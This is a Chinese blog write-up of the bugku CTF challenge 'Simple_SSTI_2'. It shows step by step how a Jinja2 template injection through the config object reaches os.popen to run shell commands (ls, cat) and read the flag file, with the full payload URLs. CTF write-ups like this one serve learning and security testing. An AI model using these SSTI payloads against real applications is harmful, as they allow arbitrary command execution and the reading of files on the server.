[bugku]Simple_SSTI_2

最新推荐文章于 2024-11-17 22:03:55 发布

ZhShy23

最新推荐文章于 2024-11-17 22:03:55 发布

阅读量3.4k

点赞数 7

CC 4.0 BY-SA版权

分类专栏：安全文章标签：安全

本文链接：https://blog.youkuaiyun.com/weixin_43651049/article/details/123391624

安全专栏收录该内容

5 篇文章

订阅专栏

博客内容涉及通过Python的内置模块os，利用__class__,__init__,__globals__等属性和方法，探索并执行系统命令，如ls和cat，来获取目录列表和特定文件的内容，最终揭示隐藏的flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

进入页面之后F12没发现什么有用的东西。
照例看看config：

http://114.67.175.224:12482/?flag={{config}}

在这里插入图片描述没有flag

试一试

http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

__class__：用来查看变量所属的类，根据前面的变量形式可以得到其所属的类。
__init__ 初始化类，返回的类型是function
__globals__[] 使用方式是函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件，并返回文件对象

页面显示：
在这里插入图片描述
先进app：
http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}

看到flag了,直接cat
http://114.67.175.224:12482/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}